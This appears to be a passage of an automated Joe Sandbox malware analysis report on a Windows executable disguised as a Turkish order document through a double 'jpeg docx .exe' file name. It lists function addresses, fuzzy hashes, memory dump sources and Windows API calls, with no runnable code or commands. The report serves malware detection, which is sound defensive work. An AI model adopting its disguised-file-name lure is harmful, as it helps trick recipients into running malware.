Instruction ID: fd59076a5a95d09fb9c6b5f567f3f1fecfa71e1727724181d8d2ba0a061d76f1
Opcode Fuzzy Hash: 7db4fed59292bce7253df46c41938503ca4dd620383c827b3039fd170a005044
Instruction Fuzzy Hash: 5D227B34A007048FDB14EF74C88469E77B2FF89304F1585B9E809AF365DB75A94ACB91

Function 04AA7480 Relevance: 9.2, Strings: 7, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 04AA74BA
K, xrefs: 04AA75EC
'Aq, xrefs: 04AA74AE
$Aq, xrefs: 04AA74D7
), xrefs: 04AA790A
/, xrefs: 04AA76D9
], xrefs: 04AA7692

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: 'Aq$)$/$4'q$K$]$$Aq
API String ID: 0-841784018
Opcode ID: 462a52c39afcbd1d80da38b2b1f91bc8a448c45d8f41c5eb8486d64fd44d799d
Instruction ID: 6b64c4dfd3967595f19ab34a95ba242bffabce2f07da681b12b247d5767135de
Opcode Fuzzy Hash: 462a52c39afcbd1d80da38b2b1f91bc8a448c45d8f41c5eb8486d64fd44d799d
Instruction Fuzzy Hash: A6127B34A007048FDB14EF74C88469E77B2FF89304F1585B9E809AF365DB35A98ACB91

Function 04AA0690 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f90fe37a243512e565f051ed625679d17ed08b9fdf612e30de3f32581945b1a
Instruction ID: f4ae2ab25c5c1481d14e8372a5f2875b7456880694488384579e8f4ed5dc3932
Opcode Fuzzy Hash: 0f90fe37a243512e565f051ed625679d17ed08b9fdf612e30de3f32581945b1a
Instruction Fuzzy Hash: D81261B1C11746ABE714CF65E94C2893BB1FBA5318B90420AD2612E2E5DBBC1DDBCF44

Function 04AA0688 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 048a0410f0919dccc3ac9f8c479213beefe5a77f04d48a2c7ef73322e290d22e
Instruction ID: 230d1e679456be350cc2e5345dbe93b723f31857568b77dd630867d15ae4896a
Opcode Fuzzy Hash: 048a0410f0919dccc3ac9f8c479213beefe5a77f04d48a2c7ef73322e290d22e
Instruction Fuzzy Hash: EDC1C3B1C11746ABE714CF69E94C2897BB1FBA5324F60420AD2612B2D5DBBC58CBCF44

Function 00CEDA60 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00CEDADE
GetCurrentThread.KERNEL32 ref: 00CEDB1B
GetCurrentProcess.KERNEL32 ref: 00CEDB58
GetCurrentThreadId.KERNEL32 ref: 00CEDBB1

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 436e296fffbb0af32d42a85b66e50a9b5ccff3423c2d307c88886afbe2a6c0a0
Instruction ID: 541f9553507e16d54355f967a8938a1e2614593236488b53141c453f78293390
Opcode Fuzzy Hash: 436e296fffbb0af32d42a85b66e50a9b5ccff3423c2d307c88886afbe2a6c0a0
Instruction Fuzzy Hash: 635188B09003498FEB14DFAAD548B9EBBF1EF48304F208019E419A7350EB78A945CF66

Function 00CEB7B7 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00CEBA1E

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ce631477612e7675205fc60d2186524d431fd908dd0f5f457b853ecfd385e392
Instruction ID: 6fa16b4e951de4341f6093941eb5adec1acca42abcc4a32da6a968098693c58c
Opcode Fuzzy Hash: ce631477612e7675205fc60d2186524d431fd908dd0f5f457b853ecfd385e392
Instruction Fuzzy Hash: 9A814370A00B458FDB24DF2AD54176BBBF1FF88300F00892DD19ADBA91DB75A946CB91

Function 04AA2325 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04AA2442

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 42db8474bc80c838f44fa93fd209243905f8c640333bd45954e2f24633a29ac4
Instruction ID: 9f4cf94217cec6a3eab203f649dca8d37428879114a526e960850f8e34fafaca
Opcode Fuzzy Hash: 42db8474bc80c838f44fa93fd209243905f8c640333bd45954e2f24633a29ac4
Instruction Fuzzy Hash: F251C0B1D103499FDB14CFA9C884ADEBFB5FF48310F24812AE819AB210D775A855CF90

Function 04AA2330 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04AA2442

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e17bf00b39c74c2c3b6e073c96589d3e899ec6b069b56fd2d6451a3f2b7e9f2a
Instruction ID: 1861936546fec7ad42e02bb525c8392787ab80b26b517b06edf90fe0dc7764ed
Opcode Fuzzy Hash: e17bf00b39c74c2c3b6e073c96589d3e899ec6b069b56fd2d6451a3f2b7e9f2a
Instruction Fuzzy Hash: 7141BEB1D10309AFDB14CF9AC884ADEBBB5FF48310F64812EE819AB250D775A855CF94

Function 04AA1894 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04AA49C1

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2879f1fefe7c318876f024488bf24a988f1c18c5b18cf6589162448e6a9aa546
Instruction ID: 2e9c1e65d71ebceec207d60c50d0baeccfd914a52cd04b7096a765f21265a5d3
Opcode Fuzzy Hash: 2879f1fefe7c318876f024488bf24a988f1c18c5b18cf6589162448e6a9aa546
Instruction Fuzzy Hash: 804138B4A00309DFDB14CF99C488AAAFBF5FB8C314F248459E419AB321D774A851CFA0

Function 00CE58EC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00CE59A9

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 87526db2196294f8b7e4447045b835661a0c770f699a14b4e74d9d781e3c95ac
Instruction ID: 1be51adde664b56a80add8ade4ea8d5ad1cb7fd8e71566bbe67f8309cfa2a1c4
Opcode Fuzzy Hash: 87526db2196294f8b7e4447045b835661a0c770f699a14b4e74d9d781e3c95ac
Instruction Fuzzy Hash: C241F1B1C00759CFEB24DFAAC884B9DBBB6BF48304F20816AD408AB251DB756946CF50

Function 00CE44C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00CE59A9

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e67da2f2d3c850e9e052216f181da39bf690d8720812238c0e3e03223be9053b
Instruction ID: f736e6f57995ee695a71c27f6729024ceedfdde1dccd27693c9540eb53999c5e
Opcode Fuzzy Hash: e67da2f2d3c850e9e052216f181da39bf690d8720812238c0e3e03223be9053b
Instruction Fuzzy Hash: C641E471C0075DDBEB24DFAAC844B9DBBF6BF48304F20816AD408AB251DB756946CF90

Function 00CEDCA8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00CEDD2F

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 94840814256ef64755b058b6678463a00a617b6b964ef1286661d574c1393978
Instruction ID: 7625532c22e2fce28ae626e07826d5ca36f89dcef0c49e066c1efcfb6906879a
Opcode Fuzzy Hash: 94840814256ef64755b058b6678463a00a617b6b964ef1286661d574c1393978
Instruction Fuzzy Hash: 9921E4B5D002499FDB10CF9AD884ADEFBF4EB48310F14841AE915A7350D374A941CF64

Function 00CEB9B8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00CEBA1E

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 12def51a58c27b3e4886885e764d0c45872745fb2f1f1b949755ea3376328f42
Instruction ID: 27bc3d8db7a3187db3ee14ce7c5d7ea5fee639836f30c72892af0b4d3aac2f47
Opcode Fuzzy Hash: 12def51a58c27b3e4886885e764d0c45872745fb2f1f1b949755ea3376328f42
Instruction Fuzzy Hash: 7A11DFB5C006498FDB20DF9AD444AAEFBF5EB88324F10842AD429A7250C779A945CFA5

Function 008FD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517816998.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4825d81ad7a20510983523c877446360454ee86fbec306d8b829bc5ae159632
Instruction ID: 345adeb417cbd7a7bc8e8f15aa16d8cb60362c359b97dc50e839a63aefcae8a5
Opcode Fuzzy Hash: f4825d81ad7a20510983523c877446360454ee86fbec306d8b829bc5ae159632
Instruction Fuzzy Hash: AC212871504308DFDB14DF20D9C4B26BB66FBA4324F20C169DB098F256C336E856CBA2

Function 0090D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517947807.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b6b3af36165226dc5f6345044241af8d7a201eea0741b9f1af66bc4b96e63a0
Instruction ID: 36e77b6a5847b714fc7edd4d1a13e2135150877fa5602dc488c6d375d1e07e4c
Opcode Fuzzy Hash: 6b6b3af36165226dc5f6345044241af8d7a201eea0741b9f1af66bc4b96e63a0
Instruction Fuzzy Hash: 69210771605300EFDB15DF98D9C0B25BB65FB84314F20C96DE8494B2D6C33AD846CB61

Function 0090D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517947807.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f00b905c568a0b697ea51858cf2f429eab873c3ed4bd0254cece8987dd390b45
Instruction ID: 8237fd84bbc66ca6e00512538449576f9e0785d266c5358aee21eaaaafd0f12d
Opcode Fuzzy Hash: f00b905c568a0b697ea51858cf2f429eab873c3ed4bd0254cece8987dd390b45
Instruction Fuzzy Hash: C921F275605300DFDB14DF54D9C4B26BBB5EB84324F20C96DD84E4B286C33AD847CA62

Function 008FD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517816998.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: abb3a79fea7edd2c590a1c733decc3f72b111a82fd27a81cc2c5cbacb4957f48
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: F3110376504344CFCB05CF10D5C0B26BF72FBA4324F24C2A9DA094B656C33AE856CBA2

Function 0090D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517947807.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: bbcc078f981f254e288ebc282d7bab997eebf1f4dbce4d1498cf9885f1a4b771
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 86118B75504280DFCB15CF54D5C4B15BBB2FB84324F24C6AAD8494B696C33AD84ACBA2

Function 0090D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1517947807.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 6fe5d3a8dbb709dccec73dd8c3432b0e9109c78b8ff78886c810c1ad7982cf6a
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 0611DD76505280DFDB05CF58C5C0B15FBB2FB84324F24C6ADD8494B696C33AD84ACB61

Non-executed Functions

Function 00CEE5A4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1518407389.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74902f5b96eeca4c0cd9c9cad2910118d3c8d3502301e147b20bedf99f694c9d
Instruction ID: 2ec322e5b4e49d54f1fde5c4fea1a3afa5ddf54cc84dc94f7f56f3d82809aec6
Opcode Fuzzy Hash: 74902f5b96eeca4c0cd9c9cad2910118d3c8d3502301e147b20bedf99f694c9d
Instruction Fuzzy Hash: 5CA16D32E002498FCF15DFB6C84059EB7B6FF99300B25457AE805AB265DB35EE56CB80

Analysis Process: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exePID: 6368, Parent PID: 320COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	89.7%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	11

Executed Functions

Function 012F6FC8 Relevance: 5.4, Strings: 4, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 012F7298
(oq, xrefs: 012F7212
,q, xrefs: 012F728A
(oq, xrefs: 012F7220

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q
API String ID: 0-620556200
Opcode ID: 0e6f7277eee05c8c4bba35010a5d62729411dc704f6b90899f5852818d413338
Instruction ID: e5379e8f364aea979cbe05f590a67f7d631b5b52c1681109974f56e28a895702
Opcode Fuzzy Hash: 0e6f7277eee05c8c4bba35010a5d62729411dc704f6b90899f5852818d413338
Instruction Fuzzy Hash: 70023A30A1021ADFDB15CF68D984AAEFBB6FF88300F198479EA05AB265D734DD45CB50

Function 012FA088 Relevance: 3.4, Strings: 2, Instructions: 900COMMON

Download Yara Rule

Strings

(oq, xrefs: 012FA518
4'q, xrefs: 012FAB13

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: 78c8a8252d683d7832024b9b57dcaefd831407b8e4a317682ba2e876138a0a84
Instruction ID: 639c578494527fc374cbf80d58e4949d45f3a07206ff273f71fe98a32d0ba1d2
Opcode Fuzzy Hash: 78c8a8252d683d7832024b9b57dcaefd831407b8e4a317682ba2e876138a0a84
Instruction Fuzzy Hash: 12826C34A1020ACFCB15CFA8C594AAEFBF6FF88310F158569E6099B365D730E945CB61

Function 012F69A0 Relevance: 3.0, Strings: 2, Instructions: 517COMMON

Download Yara Rule

Strings

Hq, xrefs: 012F6DA6
(oq, xrefs: 012F6EDA

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: 64a93d95903f1ad504bd5cb5a554d692f59d25d48895bf0471d25cb8a545d0ec
Instruction ID: 7fbd1ac3e2e01f3350e0ecac06470c25ebb0cce014fcffd75da43645a17ccb47
Opcode Fuzzy Hash: 64a93d95903f1ad504bd5cb5a554d692f59d25d48895bf0471d25cb8a545d0ec
Instruction Fuzzy Hash: FF126E70A102199FDB19DF69C854BAEBBB6FF88300F14856DE606DB395DB309D42CB90

Function 012FC147 Relevance: 2.7, Strings: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FC400
PHq, xrefs: 012FC3EF

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: d0af2a9ca4dac3a21fd337d44fc5b41933965a492d7f5a73287f9b8239f7a9f6
Instruction ID: ac4394ec7bb725de52b38d0b92a50216b5b3b6078ec64cbcee71fe7f6ea9368e
Opcode Fuzzy Hash: d0af2a9ca4dac3a21fd337d44fc5b41933965a492d7f5a73287f9b8239f7a9f6
Instruction Fuzzy Hash: CDA10674E10258CFDB14DFAAD884A9EFBB2FF89300F14806AE509AB365DB709941CF50

Function 012F5362 Relevance: 2.7, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012F55D9
PHq, xrefs: 012F55C8

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 59937260bacb7b93f217273e4bd543c92775899faa5e599f2168bb710f66d556
Instruction ID: afe801e55b3a43d560a373d0ade0b69f395102fc59d92dcf0605c09cd86d664d
Opcode Fuzzy Hash: 59937260bacb7b93f217273e4bd543c92775899faa5e599f2168bb710f66d556
Instruction Fuzzy Hash: EE91B374E10258CFDB14DFAAD984A9DFBF2BF89300F14806AE909AB365DB309945CF50

Function 012FC468 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FC6D0
PHq, xrefs: 012FC6BF

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 4abfd2a5798d948388c5f435d8930e4cddfc9c58b812bb5cf52cb99f8970eabf
Instruction ID: 224a626ef261a76e6c122ac147747b3a7e33dd81e9b2fd204aae02f17f59823d
Opcode Fuzzy Hash: 4abfd2a5798d948388c5f435d8930e4cddfc9c58b812bb5cf52cb99f8970eabf
Instruction Fuzzy Hash: 2A819374E14218CFEB14DFAAD984A9DFBF2BF88300F149069E519AB365DB709941CF50

Function 012FCCD8 Relevance: 2.7, Strings: 2, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FCF40
PHq, xrefs: 012FCF2F

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 16c8c233bd2a7ac89f1d65a1eafa906ad8fb7e7e26a5f01f5508fac4fb8c6c20
Instruction ID: 5be8c725161249bab98a3c1b0401bbc5abae1f287e701f7f9180053a3c9b8a83
Opcode Fuzzy Hash: 16c8c233bd2a7ac89f1d65a1eafa906ad8fb7e7e26a5f01f5508fac4fb8c6c20
Instruction Fuzzy Hash: 1781A074E10218DFEB14DFAAD884A9DFBF2BF88300F148169E519AB365DB705945CF50

Function 012FD278 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FD4CF
PHq, xrefs: 012FD4E0

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 9b760f7bc7e2e3826f71263f0591659513a0a61b8504e3d4f1210b3e0677a663
Instruction ID: 399807a98a1c552e0f4be18298907b51a3efec7b9710bea2fe2822f7a7324baf
Opcode Fuzzy Hash: 9b760f7bc7e2e3826f71263f0591659513a0a61b8504e3d4f1210b3e0677a663
Instruction Fuzzy Hash: 3C81A174E10218CFEB14DFAAD884A9DFBF2BF88300F148069E919AB365DB709945CF50

Function 012FC738 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FC9A0
PHq, xrefs: 012FC98F

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 94170347765de4411333a6574b5c8efc1fe29723587722f352abb6b0bcf53d79
Instruction ID: ba9ecdbeaaa2d68758dae27119b0f23a9ffc145253a6ae68d3573b4fe4ac0e43
Opcode Fuzzy Hash: 94170347765de4411333a6574b5c8efc1fe29723587722f352abb6b0bcf53d79
Instruction Fuzzy Hash: BD81A174E10219CFEB14DFAAD984A9DFBF2BF88310F148069E919AB365DB709941CF50

Function 012FCA08 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FCC70
PHq, xrefs: 012FCC5F

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 9fe9aad5c22f11af94b4d690352324e527b7abba3dca0338361a21ed0996f112
Instruction ID: 7219dbd58b5f1ab00ec19c74315056cb21f23791e6f3a8bd65e9eb4b529c67ff
Opcode Fuzzy Hash: 9fe9aad5c22f11af94b4d690352324e527b7abba3dca0338361a21ed0996f112
Instruction Fuzzy Hash: 4E81B074E10218CFEB14DFAAD884A9DFBF2BF88300F148069E919AB365DB709845CF50

Function 012FCFA9 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

